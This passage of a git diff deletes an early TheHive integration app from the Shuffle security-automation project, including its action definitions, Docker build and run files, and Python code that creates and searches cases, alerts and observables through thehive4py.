- - name: message - description: Observable's description - example: "Extracted IP entity from product X" - required: false - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED. Default: 2" - example: "2" - required: false - schema: - type: string - - name: ioc - description: "Observable's ioc flag, True to mark an observable as IOC. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: sighted - description: "Observable's sighted flag, True to mark the observable as sighted. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: ignoreSimilarity - description: "Observable's similarity ignore flag. Trueto ignore the observable during similarity computing" - example: "False" - required: false - multiline: false - schema: - type: string - - name: tags - description: List of observable tags - example: "ioc,alienvault,abuse.ch" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~4321", - "id": "~4321", - "createdBy": "user.1@example.com", - "createdAt": 1616443009693, - "_type": "case_artifact", - "dataType": "ip", - "data": "8.8.8.8", - "startDate": 1616443009693, - "tlp": 2, - "tags": [ - "test1" - ], - "ioc": false, - "sighted": false, - "message": "Test IP entity", - "reports": {}, - "stats": {} - } - ] - schema: - type: string - - name: create_case - description: Get an item from TheHive - parameters: - - name: title - description: The title to use - example: "" - required: false - multiline: true - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - schema: - type: string - - name: create_case_from_alert - description: Create a case from alert - parameters: - - name: alert_id - description: The alert to promote it - example: "" - required: true - schema: - type: string - - name: case_template - description: Case template name to apply when creating the case - example: "" - required: false - schema: - type: string - returns: - schema: - type: string - - name: merge_alert_into_case - description: Merge alert into case. Each observable of the alert will be added to the case if it doesn't exist in the case. The description of the alert will be appended to the case's description. - parameters: - - name: alert_id - description: The alert to merge into case - example: "" - required: true - schema: - type: string - - name: case_id - description: The case to merge it to - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_observable - description: Add an observable to TheHive - parameters: - - name: case_id - description: The case to add it to - example: "" - required: true - schema: - type: string - - name: data - description: The item to add itself - example: "shuffler.io" - required: true - schema: - type: string - - name: datatype - description: The type of the item to add - example: "domain" - required: true - schema: - type: string - - name: tags - description: The tags to use - example: "shuffle,is,cool" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_item - description: Get an item from TheHive - parameters: - - name: field_type - description: The type to get (alert, case..) - example: "alert" - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to retrieve - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: update_field - description: Update an alert field - parameters: - - name: field_type - description: The type to modify (alert, case..) - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to modify - required: true - schema: - type: string - - name: field - description: The field to modify - required: true - schema: - type: string - - name: data - description: The data to set the field to. If you want to append to what already exists, start with %s. - required: true - multiline: true - schema: - type: string - returns: - schema: - type: number - - name: search_cases - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "injection" - required: true - schema: - type: string - - name: search_query - description: custom search Query - parameters: - - name: search_for - description: select case or alert - options: - - case - - alert - required: true - schema: - type: string - - name: custom_query - description: Custom query for search - example: "{\"_field\": \"title\", \"_value\": \"shuffle\"}" - required: true - schema: - type: string - - name: search_alerts - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "alert" - required: true - schema: - type: string - - name: search_range - description: The amount of alerts to get. Defaults to 0-25 - example: "0-50" - required: false - schema: - type: string - returns: - schema: - type: string - - name: close_alert - description: Close an alert in thehive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: reopen_alert - description: Reopen an alert in TheHive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - - name: run_analyzer - description: Reopen an alert in TheHive - parameters: - - name: cortex_id - description: The cortex ID - example: "MISP_2_0" - required: true - schema: - type: string - - name: analyzer_id - description: The analyzer to run - example: "MISP_2_0" - required: true - schema: - type: string - - name: artifact_id - description: The artifact ID - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_task_log - description: Creates a task log in TheHive - parameters: - - name: task_id - description: The task ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: message - description: The message to send - example: "A nice screenshot " - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: false - schema: - type: file - - name: create_case_file_observable - description: Creates a task log in TheHive - parameters: - - name: case_id - description: The case ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: tags - description: Tags for the case artifact - example: "ioc,cool,artifact" - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: file - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/thehive/1.0.0/docker-compose.yml b/thehive/1.0.0/docker-compose.yml deleted file mode 100644 index 47de05b2..00000000 --- a/thehive/1.0.0/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - thehive: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/thehive/1.0.0/env.txt b/thehive/1.0.0/env.txt deleted file mode 100644 index 1398a35f..00000000 --- a/thehive/1.0.0/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=thehive diff --git a/thehive/1.0.0/requirements.txt b/thehive/1.0.0/requirements.txt deleted file mode 100644 index 1d40c46a..00000000 --- a/thehive/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -thehive4py==1.8.1 -python-magic==0.4.18 diff --git a/thehive/1.0.0/run b/thehive/1.0.0/run deleted file mode 100644 index 6127bfb7..00000000 --- a/thehive/1.0.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:thehive_1.0.0 --force -docker rm frikky/shuffle:thehive_1.0.0 --force -docker rmi frikky/shuffle:thehive_1.0.0 --force - -docker build . -t frikky/shuffle:thehive_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:thehive_1.0.0 - -docker push frikky/shuffle:thehive_1.0.0 diff --git a/thehive/1.0.0/src/app.py b/thehive/1.0.0/src/app.py deleted file mode 100644 index c1b6d23a..00000000 --- a/thehive/1.0.0/src/app.py +++ /dev/null @@ -1,434 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import json -import requests -import thehive4py - -from thehive4py.api import TheHiveApi -from thehive4py.query import * -import thehive4py.models - -from walkoff_app_sdk.app_base import AppBase - - -class TheHive(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.0.0" - app_name = "thehive" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # def run_analyzer(self, apikey, url, title_query): - # self.thehive = TheHiveApi(url, apikey, cert=False) - - # response = self.thehive.find_cases(query=String("title:'%s'" % title_query), range='all', sort=[]) - # return response.text - - def search_cases(self, apikey, url, title_query): - self.thehive = TheHiveApi(url, apikey, cert=False) - - response = self.thehive.find_cases( - query=ContainsString("title", title_query), range="all", sort=[] - ) - - return response.text - - def search_query(self, apikey, url, search_for, custom_query): - self.thehive = TheHiveApi(url, apikey, cert=False) - - try: - query = json.loads(custom_query) - except: - raise IOError("Invalid JSON payload received.") - - if search_for == "alert": - response = self.thehive.find_alerts(query=query, range="all", sort=[]) - else: - response = self.thehive.find_cases(query=query, range="all", sort=[]) - - if response.status_code == 200: - return response.text - else: - raise IOError(response.text) - - def add_observable(self, apikey, url, case_id, data, datatype, tags): - self.thehive = TheHiveApi(url, apikey, cert=False) - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - item = thehive4py.models.CaseObservable( - dataType=datatype, - data=data, - tlp=1, - ioc=False, - sighted=False, - tags=["Shuffle"], - message="Created by shuffle", - ) - - return self.thehive.create_case_observable(case_id, item).text - - def search_alerts(self, apikey, url, title_query, search_range="0-25"): - self.thehive = TheHiveApi(url, apikey, cert=False) - - # Could be "all" too - if search_range == "": - search_range = "0-25" - - response = self.thehive.find_alerts( - query=ContainsString("title", title_query), range=search_range, sort=[] - ) - return response.text - - def create_case( - self, apikey, url, title, description="", tlp=1, severity=1, tags="" - ): - self.thehive = TheHiveApi(url, apikey, cert=False) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-2, not %s" % tlp - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 0-2, not %s" % tlp - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 2 or severity < 0: - return "Severity needs to be a number from 0-2, not %d" % tlp - - case = thehive4py.models.Case( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - ) - - try: - ret = self.thehive.create_case(case) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert( - self, - apikey, - url, - type, - source, - sourceref, - title, - description="", - tlp=1, - severity=1, - tags="", - ): - self.thehive = TheHiveApi(url, apikey, cert=False) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-3, not %s" % tlp - - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 1-3, not %s" % severity - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 3 or severity < 1: - return "Severity needs to be a number from 1-3, not %d" % severity - - alert = thehive4py.models.Alert( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - type=type, - source=source, - sourceRef=sourceref, - ) - - try: - ret = self.thehive.create_alert(alert) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert_artifact( - self, - apikey, - url, - alert_id, - dataType, - data, - message=None, - tlp="2", - ioc="False", - sighted="False", - ignoreSimilarity="False", - tags=None - ): - self.thehive = TheHiveApi(url, apikey, cert=False, version=4) - - if tlp: - tlp = int(tlp) - else: - tlp = 2 - - ioc = ioc.lower().strip() == "true" - sighted = sighted.lower().strip() == "true" - ignoreSimilarity = ignoreSimilarity.lower().strip() == "true" - - if tags: - tags = [x.strip() for x in tags.split(",")] - else: - tags = [] - - - - alert_artifact = thehive4py.models.AlertArtifact( - dataType=dataType, - data=data, - message=message, - tlp=tlp, - ioc=ioc, - sighted=sighted, - ignoreSimilarity=ignoreSimilarity, - tags=tags - ) - - try: - ret = self.thehive.create_alert_artifact(alert_id, alert_artifact) - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - if ret.status_code > 299: - raise ConnectionError(ret.text) - - return ret.text - - # Gets an item based on input. E.g. field_type = Alert - def get_item(self, apikey, url, field_type, cur_id): - self.thehive = TheHiveApi(url, apikey, cert=False) - - newstr = "" - ret = "" - if field_type.lower() == "alert": - ret = self.thehive.get_alert(cur_id + "?similarity=1") - elif field_type.lower() == "case": - ret = self.thehive.get_case(cur_id) - elif field_type.lower() == "case_observables": - ret = self.thehive.get_case_observables(cur_id) - elif field_type.lower() == "case_task": - ret = self.thehive.get_case_task(cur_id) - elif field_type.lower() == "case_tasks": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "case_template": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "linked_cases": - ret = self.thehive.get_linked_cases(cur_id) - elif field_type.lower() == "task_log": - ret = self.thehive.get_task_log(cur_id) - elif field_type.lower() == "task_logs": - ret = self.thehive.get_task_logs(cur_id) - else: - return ( - "%s is not implemented. See https://github.com/frikky/shuffle-apps for more info." - % field_type - ) - - return ret.text - - def close_alert(self, apikey, url, alert_id): - self.thehive = TheHiveApi(url, apikey, cert=False) - return self.thehive.mark_alert_as_read(alert_id).text - - def reopen_alert(self, apikey, url, alert_id): - self.thehive = TheHiveApi(url, apikey, cert=False) - return self.thehive.mark_alert_as_unread(alert_id).text - - def create_case_from_alert(self, apikey, url, alert_id, case_template=None): - self.thehive = TheHiveApi(url, apikey, cert=False) - response = self.thehive.promote_alert_to_case( - alert_id=alert_id, case_template=case_template - ) - return response.text - - def merge_alert_into_case(self, apikey, url, alert_id, case_id): - self.thehive = TheHiveApi(url, apikey, cert=False) - req = url + f"/api/alert/{alert_id}/merge/{case_id}" - ret = requests.post(req, auth=self.thehive.auth) - return ret.text - - # Not sure what the data should be - def update_field(self, apikey, url, field_type, cur_id, field, data): - # This is kinda silly but.. - if field_type.lower() == "alert": - newdata = {} - - if data.startswith("%s"): - ticket = self.thehive.get_alert(cur_id) - if ticket.status_code != 200: - pass - - newdata[field] = "%s%s" % (ticket.json()[field], data[2:]) - else: - 